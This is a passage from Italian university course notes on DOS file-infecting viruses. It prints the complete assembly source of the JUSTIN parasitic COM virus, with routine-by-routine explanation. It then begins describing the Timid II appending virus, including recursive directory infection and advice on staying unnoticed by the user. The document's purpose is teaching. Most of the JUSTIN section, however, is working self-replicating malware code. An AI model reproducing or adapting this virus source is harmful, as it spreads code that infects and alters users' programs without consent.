call FIND_FILE
jc
GOTO_HOST_HIGH
call INFECT_FILE
GOTO_HOST_HIGH:
;la memoria è sufficiente???
;no, allora passa il controllo all’ospite
;salta sopra il segmento di memoria
;altrimenti trova l’ospite
;no, allora passa il controllo all’ospite
;s’ ,infettalo
;salta all’ospite dal nuovo mem blk
GOTO_HOST_LOW:
; salta all’ospite dal mem blk originario
E’ interessante vedere come qualsiasi parte di routine, che non finisca con buon esito, termina avviando il programma
ospite, come se nulla fosse accaduto. In genere quando un programma COM viene caricato gli viene assegnata tutta la
memoria di sistema disponibile per quella applicazione, quindi ogni parte di memoria sopra il PSP che appartiene al
DOS, è potenzialmente utilizzabile dal virus. Questo prende l’intero blocco di 64kbytes, che comincia col PSP e si
piazza all’offset 100H in questo blocco ed è seguito direttamente dal programma ospite al quale era inizialmente
attaccato, quindi alla estremità di questo segmento si trova lo stack del programma COM. Il fine ultimo di tutte queste
delicate operazioni, che se non correttamente eseguite possono dare gravi problemi, è che il virus possa utilizzare i
64Kbytes appena sopra di dove esso vive, sempre che questo spazio esista.
La routine utilizzata nel codice di controllo per verificare la presenza dei famosi 64 Kbytes è la CHECK_MEM. Essa
modifica la memoria allocata a un programma con l’interrupt di DOS 21H, funzione 4AH. Prima mette il numero di
paragrafi di memoria desiderati (blocchi da 16Kbytes)nel registro BX, poi chiama la 4AH. Se il procedimento non ha
successo il DOS imposta il carry flag e metterà il numero di blocchi al momento disponibili nel BX. Dal momento che
abbiamo bisogno di 2*64 Kbytes, l’unica cosa da fare è tentare di allocare questa memoria, quindi :
mov
ah,4AH
mov
bx,2000H
int
21H
;2000H*16 = 2*64K
Se questa funzione ritorna con successo, sarà disponibile abbastanza memoria. Tuttavia la memoria è stata deallocata e
il programma ospite può essere disturbato da questa operazione. Quindi justin dovrà riallocare tutta la memoria
disponibile per essere il più efficace possibile. La CHECK_MEM di justin sarà :
CHECK_MEM:
mov
ah,4AH
mov
bx,2000H
int
21H
pushf
mov
ah,4AH
mov
bx,0FFFFH
int
21H
mov
ah,4AH
int
21H
popf
ret
;modifica la memoria allocata
;setta la necessità di spazio(2*64Kbytes)
;setta C se non c’è abbastanza memoria
;rialloca tutta la memoria disponibile
;BX ha I blocchi disponibili
;ritorna al chiamante
Risolta la difficile questione della memoria, justin comincia a operare, quindi salta nel blocco in alto nella memoria 64
Kbytes, sopra, dove venne eseguito inizialmente. Questo è effettuato con JUMP HIGH, che prima mette una copia del
virus nel nuovo segmento usando l’istruzione REP MOVSB la quale muove CX bytes da DS:SI in ES:DI. Ora nella
memoria il virus comincia da DS:100H e la sua lunghezza sarà data da
OFFSET HST –100H
Dove OFFSET HOST è l’indirizzo dove il programma ospite comincia, un byte dopo la fine del virus .Tutto lo
spostamento viene eseguito mediante il seguente codice:
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov
mov
mov
rep
24
si,100H
di,OFFSET HOST
cx,OFFSET HOST - 100H
movsb
Successivamente justin muove in su il DTA in questo nuova segmento all’offset 80H utilizzando la funzione del DOS
1AH e la routine JUMP_HIGH passa il controllo alla copia del virus justin in alto al segmento, come mostrato nella
figura (3.8):
Fig(3.8) Salto al segmento in alto
Il virus riceve l’offset dell’indirizzo di ritorno per la JUMP_HIGH fuori dallo stack. Quando la JUMP_HIGH venne
chiamata dalla routine di controllo, l’istruzione call mette l’indirizzo dopo essa nello stack , quindi in questo caso 108H.
Dopo essersi posizionato nella parte alta del segmento ,justin esegue la ricerca dei possibili file da infettare e l’infezione
vera e propria. La routine di ricerca è molto simile a quelle viste per le altre tipologie di COM infecting virus. Essa usa
le funzioni di DOS search first e next per trovare i file con l’estensione appropriata COM e l’unica differenza è che
chiama una ulteriore routine ,la FILE_OK. Questa serve ad evitare problemi endemici sul codice dello stesso virus. Il
problema delle infezioni multiple, infatti è in questo caso molto più rilevante. Si è visto come il MINI-44 fosse molto
rude e violento nella sua infettività, sovrascrivendo tutti i COM individuati e il problema che questi fossero infettati più
di una volta , non è rilevante in quanto il file è già compromesso alla prima infezione. Il CSpawn risolveva il problema
delle infezioni multiple nascondendo il COM file compaio. Per justin le cose si complicano, perché più un file viene
infettato, più le sue dimensioni aumentano fino ad arrivare a una soglia in cui non riesce a lavorare. Lo schema logico di
ricerca è descritto dalla figura (3.9):
Fig (3.9) Ricerca e infezione di JUSTIN
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
25
Nella routine di ricerca è necessario inserire una parte che controlli la già avvenuta infezione e in tal caso cercarne un
altro o, se rileva un file sano, infettarlo. La routine FILE_OK si preoccupare di rilevare se un file è o no infettabile in
questi termini. Essa apre il file, passatogli dalla FIND_FILE e ne calcola la lunghezza, se è troppo grande , aggiungergli
il virus potrebbe farlo andare in crash , e quindi lo evita. La dimensione eccessiva è raggiunta quando JUSTIN non può
andare nella parte alta del segmento senza poter trascinare lo stack alla cima del programmaospite. Sebbene JUSTIN
non usa troppo lo stack, gli interrupt dell’hardware possono farne uso in qualsiasi momento, quindi un 100Hbytes di
stack saranno necessari, quindi per lavorare bene, dovrà valere la regola :
(dimensioni di JUSTIN ) + (dimensioni del programma ospite) + (dimensioni del PSP) < 0FF00H
Per fare questo la FILE_OK apre il potenziale ospite usando la funzione del DOS 3DH già vista per il MINI-44,
tentando di aprirlo in modalità lettura/scrittura quindi:
mov
mov
int
dx,9EH
ax,3D02H
21H
;indirizzo del file name nel DTA
;apri in modalità lettura / scrittura
Se l’apertura fallisce probabilmente il file è di sola lettura e JUSTIN lo eviterà. Per trovare invece le dimensioni del file
JUSTIN utilizza un file pointer, che è una variabile integer di quattro bytes, conservata internamente dal DOS che tiene
traccia di dove leggerà o scriverà il file. Questo puntatore comincerà puntando al primo bytes in un file appena aperto
E verrà avanzato automaticamente dal DOS appena il file è letto o scritto da quel riferimento.
La funzione DOS 42H è usata per spostare il puntatore a qualsiasi punto desiderato, impostando il registro BX col
numero di file handle e CX:DX deve contenere un numero integer di 32 bit che specifichi dove muovere il puntatore .
Ci sono tre modalità di utilizzo di questa funzione, impostate dal valore di AL, se AL è posto a 0il file pointer è settato
all’inizio del file, se AL è uguale a 1 viene incrementato in relazione alla posizione corrente, se AL è posto a 2 CX:DX
sono usati come offset dalla fine del file. Quando la 42H da il valore di ritorno, fornisce anche il valore corrente del file
pointer (relativo all’inizio del file)nella coppia di registri DX:AX, quindi per trovare le dimensioni del file bisogna
settare il puntatore al file alla fine del file:
mov
ax,4202H
xor
cx,cx
xor dx,dx
int
21H
;ricerca relativa alla fine
;cx:dx=0
;l’offset dalla fine
e il alore che ci si ritrova in DX:AX sarà proprio la lunghezza del file.FILE_OK deve successivamente controllare
questo valore e verificare che non ecceda; se DX=0, il file occuperà più di 64Kbytes e sarà troppo grande:
or
jnz
dx,dx
FOK_EXIT_C
;dx = 0?
;no, esci con C settato
Allo stesso modo , se sommiamo OFFSET HOST al contenuto del registro AX , ed è maggiore di 0FF00H , il file sarà
troppo grande:
add
ax,OFFSET HOST
cmp
ax,0FF00H
ja
FOK_EXIT_C
;aggiungi la dimensione del virus + PSP
;è troppo grande ?
;se si esci con C settato
Se tutte le operazioni precedenti hanno esito positivo, quindi il file è infettabile senza problemi, il controllo successivo
sarà di leggere tutto il file in memoria per esaminare il contenuto. Il file viene quindi caricato appena dopo il virus nella
parte alta del segmento, in questo modo il virus crea un’immagine del file infetto in memoria, come mostrato in figura
(3.10) e tutto ciò che rimane da fare è scrivere questa immagine sul disco.
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
26
figura (3.10) JUSTIN crea l’immagine del file infettato
Per leggere il file nella memoria, si deve prima muovere indietro il puntatore al file all’inizio di questo, con la funzione
del DOS 42H,sottofunzione 0:
mov
ax,4200H
xor
cx,cx
xor dx,dx
int
21H
;muovi il file
;0:0 relativo dall’inizio
Successivamente, usando la funzione DOS 3FH, si legge il file nella memoria, ma prima si setta BX uguale al numero
di file handle e CX al numero di bytes che si intendono leggere dal file; DS:DX sono impostati con la posizione in
memoria in cui i dati letti dovranno essere posti:
pop
cx
;cx contiene la dimensione dell’ospite
push cx
;lo salva per usarlo dopo
mov
ah,3FH
;prepara la lettura del file
mov
dx,OFFSET HOST ;nella locazione dell’ospite
int
21H ;do it
Prima di effettare l’infezione , JUSTIN esegue all’interno della routine FILE_OK due controlli in più, il primo è
controllare che il file non sia già infetto e lo fa comparando i primi 20 bytes dell’ospite con i suoi stessi primi 20 bytes.
Se questi risultano uguali il file è già stato precedentemente infettato e l’implementazione di questo controllo molto
semplice:
mov
mov
mov
repz
si,100H
di,OFFSET HOST
cx,10
cmpsw
Il secondo controllo verte su una inusuale abitudine del DOS 6.0, che controlla il programma per vedere se ha una
struttura di EXE valido e anche se e nominato “COM” e ha una struttura EXE, il DOS lo carica come EXE. Questo può
essere un problema se il parasistic virus non riconosce lo stesso file come un EXE e lo scansa. Se un virus di tale tipo
attacca un file con una struttura EXE il DOS non lo riconoscerà più come tale , e lo caricherà come un file COM . Il
virus viene quindi eseguito correttamente ma poi cercherà di restituire il controllo a un EXE (una struttura dati) invece
che a un programma binario valido e questo può portare alla sospensione del sistema. Questo controllo è facilmente
implementabile e la FILE_OK di JUSTIN lo effettua in questo modo:
cmp WORD PTR [HOST],'ZM'
La routine chiuderà poi il file se non è un ospite valido o lo lascia aperto, con l’handle nel registro BX se può essere
infettato.
L’infezione avviene in modo semplice, una volta che FIND_FILE ha trovato il file giusto e l’immagine del file infetto è
già in memoria, scrivendo questa sul disco. JUSTIN resetta il file pointer all’inizio del file e usa la funzione del DOS
40H per scrivere l’ospite infetto nel file. La dimensione dell’ospite viene passata alla INFECT_FILE da FILE_OK nel
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
27
registro DX e BX contiene ancora il file handle , quindi INFECT_FILE somma la lunghezza del virus alla lunghezza
del file ospite, OFFSET HOST –100H e comincia a scrivere dall’offset 100H nella parte alta del segmento:
pop
cx
add
cx,OFFSET HOST - 100H
mov
dx,100H
mov
ah,40H
int
21H
;dimensioni originali dell’ospite al cx
;gli aggiunge la dimensione del virus
;inizio dell’immagine infetta
;scrive il file
L’ultima attività che JUSTIN deve svolgere è quella di eseguire il programma ospite originario al quale il virus è
attaccato e che ritrova nella parte bassa del segmento. Il nuovo ospite, che è appena stato infettato, è posto nella zona
alta del segmento, dove il virus viene eseguito. Quindi per eseguire l’originale , bisogna spostarlo dall’OFFSET HOST
all’offset 100H, dove sarebbe stato caricato dal DOS, in condizioni di stato non infetto. Dal momento che JUSTIN non
conosce quanto fosse esteso l’ospite originario, deve spostare tutto il codice dall’offset OFFSET HOST fino alla fine
del segmento di stack ,come viene presentato in fig(3.11) . La cosa importante di questa operazione è che il virus non
deve spostare tutto il blocco sullo stesso stack ,altrimenti questo verrebbe interamente consumato e potrebbe causare un
crash del sistema. Infine JUSTIN trasferisce il controllo all’ospite. Il codice per implementare l’esecuzione è il
seguente:
mov
mov
mov
mov
mov
push
push
mov
sub
rep
retf
di,100H
si,OFFSET HOST
ax,ss
ds,ax
es,ax
ax
di
cx,sp
cx,OFFSET HOST
movsb
;muove l’ospite in basso nella memoria
;ss punta al segmento in basso
;imposta ds e es per puntare in quella posizione
;esce l’indirizzo di ritorno
;per eseguire l’ospite in un secondo momento
;cx = bytes da muovere
;muove l’ospite all’offset 100H
;e lo esegue
Fig(3.11) Spostamento del codice ospite
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
28
Un caso particolare che JUSTIN deve gestire è quando non c’è abbastanza memoria per creare il segmento. In tal caso
deve spostare il codice ospite all’offset 100H senza operare in un nuovo segmento. Questo potrebbe essere un problema
perché quando il virus sposta l’ospite, sovrascrive se stesso. Per completare lo spostamento e trasferire il controllo
all’ospite JUSTIN deve scrivere dinamicamente il codice in uno spazio sicuro, dove non verrà soprascritto.Le uniche
due zone libere e sicure sono il PSP e lo stack. JUSTIN usa il secondo con questo codice :
mov
push
mov
push
ax,00C3H
ax
ax,0A4F3H
ax
;mette "ret" sullo stack
;mette "rep movsb" sullo stack
JUSTIN imposta dinamicamente alcune istruzioni ,mostrate di seguito, appena sotto lo stack :
rep
ret
movsb
;muove l’ospite
;e lo esegue
In seguito muove lo stack in alto, sopra queste istruzioni :
add
sp,4
Qui troviamo due parole nello stack:
[0100H]
[FFF8H]
La prima è l’indirizzo 100H usato per tornare dalla subroutine appena piazzata nello stack all’offset 100H, dove andrà
poi il codice ospite. Il secondo è l’indirizzo della routine nascosta sotto lo stack. JUSTIN ritornerà a essa, la eseguirà e
poi ritornerà all’ospite, come indicato in figura (3.12) :
Fig (3.12) Struttura dello stack per lo spostamento
Di seguito viene riportato il codice dell’intero virus JUSTIN, come esempio di parasistic virus che si inserisce prima del
codice del file COM utilizzato come ospite:
;(C) 1994 American Eagle Publications, Inc. All Rights Reserved!
.model small
.code
org 0100H
JUSTIN:
call CHECK_MEM
jc
GOTO_HOST_LOW
call JUMP_HIGH
call FIND_FILE
jc
GOTO_HOST_HIGH
call INFECT_FILE
GOTO_HOST_HIGH:
mov di,100H
;C’è abbastanza memoria per avviarsi?
;no ,esci all’ospite
;vai al prossimo blocco di memoria di 64K
;trova un file da infettare
;se non lo trova ,torna all’ospite
;infetta il file trovato
;sposta l’ospite in basso nella memoria
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov si,OFFSET HOST
mov ax,ss
mov ds,ax
mov es,ax
push ax
push di
mov cx,sp
sub cx,OFFSET HOST
rep movsb
retf
;ss punta al segmento basso
;imposta ds e es per puntare in questa posizione
;mette l’indirizzo di ritorno
;per eseguire l’ospite (da usare poi)
;cx = bytes da spostare
;muove l’ospite all’offset 100H
;e lo esegue
;Questa parte è eseguita solo se JUSTIN non ha abbastanza memoria per poter procedere con l’infezione
;Sposta il codice per muovere l’ospite in basso nello stack, e poi salta a esso .
GOTO_HOST_LOW:
mov ax,100H
;mette 100H ret address nello stack
push ax
mov ax,sp
sub ax,6
;ax=inizio delle istruzioni dello stack
push ax
;indirizzo a cui saltare
mov
push
mov
push
ax,000C3H
ax
ax,0A4F3H
ax
;mette "ret" sullo stack
;mette "rep movsb" sullo stack
mov si,OFFSET HOST
mov di,100H
mov cx,sp
sub cx,OFFSET HOST
;imposta si e di
;pronto per lo spostamento
;imposta cx
cli
add
;hw ints off
;sistema lo stack
sp,4
ret
;va al codice dello stack
;Questa routine controlla la memoria per vedere se c’è abbastanza spazio per eseguire correttamente JUSTIN
;Se non è così ,ritorna con il carry impostato
CHECK_MEM:
mov ah,4AH
;modifica la memoria allocata
mov bx,2000H
;vogliamo 2*64K
int 21H
;imposta il carry se non c’è abbastanza memoria
pushf
mov ah,4AH
;ri-alloca tutta la memoria disponibile
mov bx,0FFFFH
int 21H
mov ah,4AH
int 21H
popf
ret
;e ritorna al chiamante
;Questa routine salta sopra al blocco di 64K dove il virus comincia l’esecuzione .
;Imposta tutti i regostri del segmento ,per poi puntarvi, e sposta il DTA all’offset 80H in quel segmento.
JUMP_HIGH:
mov ax,ds
add ax,1000H
mov es,ax
mov si,100H
mov di,si
;ds punta al segmento corrente
;es punta 64Kbytes più in alto
;di = si = 100H
29
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
mov cx,OFFSET HOST - 100H
rep movsb
mov ds,ax
mov ah,1AH
mov dx,80H
int 21H
pop ax
push es
push ax
retf
;cx = bytes da muovere
;copia il virus più in alto del blocco
;imposta ds al segmento in alto
;muove il DTA
;al ds:80H (segmento in alto)
;ritorna fuori dallo stack
;mette il segmento alto di memoria nello stack
;mette il ritorno indietro
;La routine seguente cerca un file COM non ancora infetto e ritorna con il carry resettato se ne trova uno
;La ricerca coinvolge solo la directory corrente
FIND_FILE:
mov dx,OFFSET COM_MASK
;cerca i COM file
mov ah,4EH
;funzione del DOS find first file
xor cx,cx
;CX conserva tutti gli attributi del file
FIND_LOOP:
int 21H
jc
FIND_EXIT
;esce se non trova file
call FILE_OK
;il file è OK per l’infezione?
jc
FIND_NEXT
;no, ne cerca un altro
FIND_EXIT:
ret
;altrimenti torna
FIND_NEXT:
mov ah,4FH
;funzione del DOS find next file
jmp FIND_LOOP
;prova a cercare un altro file
COM_MASK
db
'*.COM',0
;search mask del COM file
;La seguente routine determina se un file è adatto per essere infettato. Ci sono
;molti criteri che devono essere soddisfatti per avviare l’infezione del file
;
;
1. Si deve poter scrivere il file
(apertura in read/write conclusa con successo)
;
2. Il file non deve essere troppo grande
;
3. Il file non deve essere già stato infettato
;
4. Si deve verificare che il file non sia un EXE
;
;Se questi criteri sono soddisfatti ,la FILE_OK ritorna con il carry resettato e il file aperto con
;handle posto nel registro bx e la dimensione originale in dx . Se anche una richiesta fallisce , FILE_OK
;ritorna con il carry fissato.
FILE_OK:
mov dx,9EH
;offset del nome del file nel DTA
mov ax,3D02H
;apertura del file, in modalità lettura/scrittura
int 21H
jc
FOK_EXIT_C
;se l’apertura fallisce torna col carry settato
mov bx,ax
;altrimenti metti habdle in BX
mov ax,4202H
;cerca la fine del file
xor cx,cx
;spostamento da end = 0
xor dx,dx
int 21H
;dx:ax contiene la dimensione del file
jc
FOK_EXIT_CCF
;esce se fallisce
or dx,dx
;se la dimensione del file > 64K,esce
jnz FOK_EXIT_CCF
;con carry settato
mov cx,ax
;mette la dimensione del file anche in cx
add ax,OFFSET HOST
;somma JUSTIN + dimensione del PSP all’ospite
cmp ax,0FF00H
;ci sono 100H bytes per lo stack?
jnc FOK_EXIT_C
;se no, esci con carry settato
push cx
;salva la dimensione del file per usarla in un secondo momento
mov ax,4200H
;reimposta il file pointer
xor cx,cx
xor dx,dx
;all’inizio del file
30
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
int
pop
push
mov
mov
int
pop
jc
mov
mov
mov
repz
jz
cmp
jz
clc
ret
21H
cx
cx
ah,3FH
;prepara la lettura del file
dx,OFFSET HOST
;nella posizione dell’ospite
21H
;esegue
dx
;la dimensione dell’ospite è ora in DX
FOK_EXIT_CCF
;esce con il carry settato se fallisce
si,100H
;controlla i 20 bytes per vedere
di,OFFSET HOST
;se il file è già stato infettato
cx,10
cmpsw
;esegue
FOK_EXIT_CCF
;se già infetto esce a questo punto
WORD PTR cs:[HOST],'ZM'
;controlla se è un EXE
FOK_EXIT_CCF
;se si esce con il carry settato
;è tutto OK allora pulisce il carry
;ed esce
FOK_EXIT_CCF: mov
int 21H
FOK_EXIT_C: stc
ret
ah,3EH
;chiude il file
;imposta il carry
;e ritorna
;Questa routine infetta il file allocato da FIND_FILE.
INFECT_FILE:
push dx
mov ax,4200H
xor cx,cx
xor dx,dx
int 21H
pop cx
add cx,OFFSET HOST - 100H
mov dx,100H
mov ah,40H
int 21H
mov ah,3EH
int 21H
ret
;In questa posizione comincia il programma ospite.
HOST:
mov ax,4C00H
int 21H
end
31
JUSTIN
;esce al DOS
;salva le dimensioni originali del file
;riposiziona il file pointer
;all’inizio del file
;pone la dimensione origina le del file in CX
;e vi aggiunge la dimensione del virus
;inizio dell’immagine infetta
;scrive il file
; e lo chiude
;e poi esce
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
32
3.7 Parasistic Virus ( TIMID II )
Il virus JUSTIN è un buon esempio di parasistic virus che attacca i .COM e che si insedia all’inizio del codice ospite,
tuttavia, come già accennato, esiste un’altra categoria di non-resident parasistic virus, vale a dire quelli che si
posizionano alla fine del programma ospite. Un esempio che si comporta in tal modo è il Timid II virus, che è molto
virulento, più di tutti gli altri virus descritti, in quanto può letteralmente sfuggire, saltando da un directory all’altra. I
virus non distruttivi che infettano i .COM devono essere eseguiti in genere prima dell’ospite, anche perché una volta
che l’ospite ha il controllo ,non si può dire nulla su cosa possa fare, cioè può modificare lo stack, può sovrascrivere il
virus con dei dati, può andare in memoria. I virus che cercano di posizionarsi all’interno del codice ospite o che si
eseguono dopo questo, devono conoscere bene il comportamento del programma host e questo è impossibile se il virus
vorrebbe infettare qualsiasi programma; così in ogni caso è necessario che il virus venga eseguito prima ,in modo da
conoscere le modifiche apportate alla memoria e al sistema, dal codice ospite. Poiché un programma di tipo COM viene
eseguito sempre a partire dall’offset 100H (che corrisponde all’inizio di un file), un parasistic virus deve modificare
l’inizio (in genere pochi bytes) di un qualsiasi codice che esso infetta, tipicamente sostituendo con un’istruzione JUMP,
che provoca un salto all’inizio del virus, anche se lui stesso si trova alla fine del file. Fig (3.13)
Fig (3.13) Attività del virus Timid II
Il problema principale con il timid II virus è che il suo codice cambia posizione quando infetta un nuovo file. Se per
esempio infettasse un .COM lungo 1254H bytes, verrà eseguito a partire dall’offset 1352H, successivamente se infetta
un file di 2993H bytes il nuovo punto di esecuzione sarà 2A93H. Questi cambiamenti di offset sono realizzati sempre
con salti brevi e a indirizzi vicini e le chiamate sono effettuate con i relativi indirizzamenti, quindi non c’è di fatto nulla
di nuovo. Per esempio consideriamo la subroutine CALL_ME:
cs:180
cs:183
call
CALL_ME
...
cs:327 CALL_ME: ...
...
ret
Supponiamo che CALL_ME sia collocata all’offset 327H e la chiamata a 180H. Quindi la chiamata avrà codice E8 A4
01 di cui la prima (E8) è l’op-code per la call e la parola 01A4H è la distanza della routine CALL_ME dall’istruzione
seguente la chiamata :
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
33
1A4H = 327H - 183H
Poiché la chiamata riferisce solo la distanza tra il corrente IP e la routine da chiamare, questa parte di codice può essere
spostata a qualsiasi offset e continuare comunque a lavorare correttamente. Questo è detto indirizzamento relativo
(relative addressing). Diversamente nel processore 80x86 l’accesso diretto ai dati è realizzato con l’indirizzamento
assoluto. Per esempio il codice :
mov
dx,OFFSET COM_FILE
COM_FILE
db
'*.COM',0
Caricherà il registro DX con l’indirizzo assoluto della stringa COM_FILE. Se questa struttura viene usata in un virus
che cambia offset continuazione, molto probabilmente andrà in crash. Non appena il virus comincia spostamento a
qualsiasi offset eccetto quello in cui fu originariamente compilato, l’offset messo nel registro DX non punterà più alla
stringa “*.COM” ma può puntare a qualche dato non inizializzato o all’interno dell’ospite, come mostrato in fig (3.14):
Fig (3.14) Problema dell’indirizzamento assoluto
Ogni virus posto alla fine di un file .COM deve lottare con il problema di indirizzare i dati indirettamente. Una tipica
soluzione è di visualizzare quale offset il codice stia eseguendo al momento e salvare il valore ottenuto in un registro,
quindi poi si potrà accedere ai dati usando questo registro insieme all’offset assoluto. Per esempio :
GET_ADDR:
call GET_ADDR
pop di
sub di,OFFSET GET_ADDR
;mette OFFSET GET_ADDR nello stack
;ottiene questo offset nel di
;sottrae il valore
carica il registro DI con un valore di rilocazione che può essere usato per accedere ai dati in modo indiretto. Se
GET_ADDR è alla stessa posizione nella quale era stato compilato quando avvenne la chiamata, DI finirà col diventare
zero. Nell’altro caso, se esso viene spostato, il valore messo nello stack sarà la posizione corrente del GET_ADDR e
non il valore occupato al momento della sua compilazione. Per ottenere un dato si può procedere così :
lea dx,[di+OFFSET COM_FILE]
al posto di
mov
dx,OFFSET COM_FILE
oppure
mov
ax,[di+OFFSET WORDVAL]
piuttosto che
mov
ax,[WORDVAL]
Quindi questa operazione può essere effettuata in più modi e senza troppe difficoltà, tuttavia è essenziale per evitare il
crash del sistema. Un alternativa importante per avere dati “assoluti”, nel rilocamento del codice è di immagazzinare
temporaneamente i dati in un stack frame. Questa tecnica è abbastanza usuale nei programmi ordinari per creare dati
temporanei da usare in una singola routine durante l’esecuzione e il virus in causa usa questa strategia.
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
34
Per creare lo stack frame si sottrae semplicemente un certo numero dal registro SP per abbassare lo stack, e poi si usa il
registro BP per accedere ai dati. Il codice seguente ne è un esempio :
push
sub
mov
bp
sp,100H
bp,sp
;salva il vecchio bp
;sottrae 256 bytes dallo sp
;pone bp = sp
e crea un blocco di 256 bytes che può essere usato liberamente dal programma e quando non serve più è sufficiente
ripulire lo stack e impostarlo alle origini:
add
pop
sp,100H
bp
;ripristina sp al valore originario
;e ripristina anche bp
Per indirizzare i dati dallo stack frame, si usa il registro BP ,in questo modo :
mov [bp+10H],ax
così mette AX al bytes 10H e 11H nell’area dati dello stack .Il timid II virus utilizza esattamente queste tecniche per
risolvere il problema della rilocazione del codice.
Il timid II virus è progettato per infettare 10 file ogni volta che viene eseguito e questo valore è un parametro che può
essere aumentato fino a 256. La routine di ricerca, SEARCH_DIR è molto più complessa di quelle fino ad ora viste in
quanto il virus è in grado di ricercare tutti i file .COM da infettare nella directory corrente, e nella subdirectory di
questa, fino alla profondita nel file system voluta. La SEARCH_DIR dovrà quindi essere una funzione ricorsiva ed
avere uno schema logico come quello mostrato in figura (3.15):
SEARCH DIR
Fig (3.15) Schema logico di ricerca del
virus
SEARCH
DIR
Rendere la routine di search ricorsiva è strettamente necessario per mettere il DTA nello stack, usato come area per dati
temporanei. Il DTA è utilizzato dalle funzioni del DOS, Search First e Search next, quando per esempio la
SEARCH_DIR sta cercando una directory, trova una subdirectory e deve quindi uscire e non perdere la sua posizione,
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
35
nella directory corrente. La SEARCH_DIR risolve il problema togliendo 43H bytes allo spazio dello stack e creando
uno stack frame :
push
sub
mov
bp
sp,43H
bp,sp
;imposta lo stack frame
;sottrae la dimensione del DTA necessaria
poi setta il DTA usando la funzione del DOS 1AH :
mov
mov
int
dx,bp
ah,1AH
21H
;mette il DTA nello stack
Da questo punto ,la SEARCH_DIR può agire come meglio crede ,senza dare fastidio a una precedente copia di sè, se
questa ci fosse e a condizione che il DTA venga resettato dopo ogni chiamata a essa relativa. Per poter realizzare una
doppia ricerca, SEARCH_DIR cerca ogni directory per ogni file usando la stringa *.*, con gli attributi della directory
posti nel registro CX. Questa procedura rivela tutte le subdirectory come se fossero file normali ,includendo i file
.COM. Quando la funzione di ricerca del DOS ritorna (perché ha trovato qualcosa), la SEARCH_DIR controlla gli
attributi del file appena trovato e se è una directory, chiama la FILE_OK per vedere se il file è infettabile. La FILE_OK
controlla per prima cosa che il file sia di tipo .COM ignorando per ora qualsiasi altra cosa. La routine INFECT_FILES
lavora insieme alla SEARCH_DIR definendo il comportamento del virus Timid II, infatti la prima agisce come una
routine di controllo per la seconda, chiamandola due volte. INFECT_FILES comincia settando INF_CNT a 10, cioè il
numero di file che vorrebbe infettare e DEPTH a 1, cioè il livello di profondità a cui la ricerca vuole arrivare. Poi la
SEARCH_DIR viene chiamata per cercare la directory corrente e tutte le sue immediate subdirectory. Se alla fine di
questo processo non sono stati infettati i dieci file previsti ,la INFECT_FILES cambia directory andando alla root e,
impostando DEPTH=2 , chiama la SEARCH_DIR ancora una volta. In questo modo si può partire dalla directory radice
e successivamente scendere alle sue immediate subdirectory estendendo moltissimo il raggio d’azione del virus. Questi
parametri ,cioè il numero di file bersaglio e la profondità della ricerca, vanno scelti però tenendo conto che ricerche
troppo approfondite richiedono troppo tempo e questo è un male in quanto potrebbe attirare l’attenzione dell’utente,
cosa che un buon virus deve evitare. Quindi ,si devono scegliere valori che stiano in un compromesso ,che rendano il
virus efficace ma non troppo lungo nell’esecuzione. La routine di controllo FILE_OK ,che verifica se i file possono o
meno essere infettati ,non è così diversa da quella vista per il virus JUSTIN ,con l’unica differenza che ora il virus è
posizionato alla fine dell’ospite, quindi dovrà leggere l’inizio del codice ospite e confrontarlo col codice virus per
vedere se è già stato infettato. Ricordando che nel Timid II virus i primi pochi bytes del programma ospite sono
sostituiti dall’infezione con un salto al codice del virus, la FILE_OK può controllare se la prima istruzione del file in
esame è un salto, se così è il programma è già stato infettato, altrimenti è un ottimo candidato. Ci sono due tipi di
istruzioni jump in un file .COM, near jump ,che ha un range di 64Kbytes e short jump che permette invece salti di soli
128bytes. Il Timid II virus usa sempre un near jump per ottenere il controllo ,quando il programma comincia, altrimenti
non potrebbe infettare i file .COM ,con dimensioni maggiori di 128 bytes (condizione piuttosto limitante). Un near
jump è rappresentato in linguaggio macchina con E9 Hex , seguito da due bytes che specificano alla CPU quanto è
lungo il salto. Quindi il primo esame da fare è verificare che il primo byte nel file sia E9 Hex, se invece c’è qualsiasi
altra cosa il file è adatto a essere infettato. Questo controllo tuttavia potrebbe risultare insufficiente e far bypassare al
virus molti file COM invece adatti, ma contenenti un’istruzione jump all’inizio, già nella loro versione originale e non
infettata. Quindi si cambia in testa al codice una coppia in più di bytes, in quanto la near jump richiede tre bytes e
prendendone ancora due, codificandoli in un unico op-code, il virus può essere sicuro che il file è già infetto se questi
bytes sono correttamente codificati (“VI”). In tal modo se un file comincia con un near jump segito da”V” = 56H e “I”
= 49H sappiamo che il virus è presente e dove questa forma di codice non è presente come inizio del file, questo non è
infetto.
Il meccanismo di copiatura prevede che il virus piazzi il suo codice alla fine del file COM a cui è collegato, impostando
un file pointer alla fine del file. Questo è molto facile da effettuare, si imposta CX:DX = 0, AL = 2 e si chiama la
funzione di DOS 42H (il file di aggancio è preso in BX tutte le volte):
xor
mov
mov
int
cx,cx
dx,cx
ax,4202H
21H
Con il file pointer impostato correttamente, il virus può trascrivere sé stesso alla fine del file usando la funzione DOS
write ,40 Hex. Prima di usarla, però, deve settare DS:DX con la posizione in memoria dove i dati sono posti e CX con il
numero di bytes da scrivere. Dopo queste operazioni e con il codice del virus attaccato alla fine del file COM sotto
attacco, il virus deve fare un po’ di “pulizia”. Deve muovere i primi cinque bytes del file COM in una area di
immagazzinamento nel codice virus, poi porre una istruzione di salto più la il codice di lettere “VI” all’inizio del file
.Appena il timidII legge i primi bytes del COM nella routine di ricerca, questi sono pronti e aspettano l’intervento della
Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi”
36
START_IMAGE e hanno solo bisogno di essere scritti fuori dal disco nella posizione corretta .Nel virus esistono solo
due zone separate per caricare cinque bytes del codice, la START_IMAGE, per inserire i dati dai file che vuole infettare
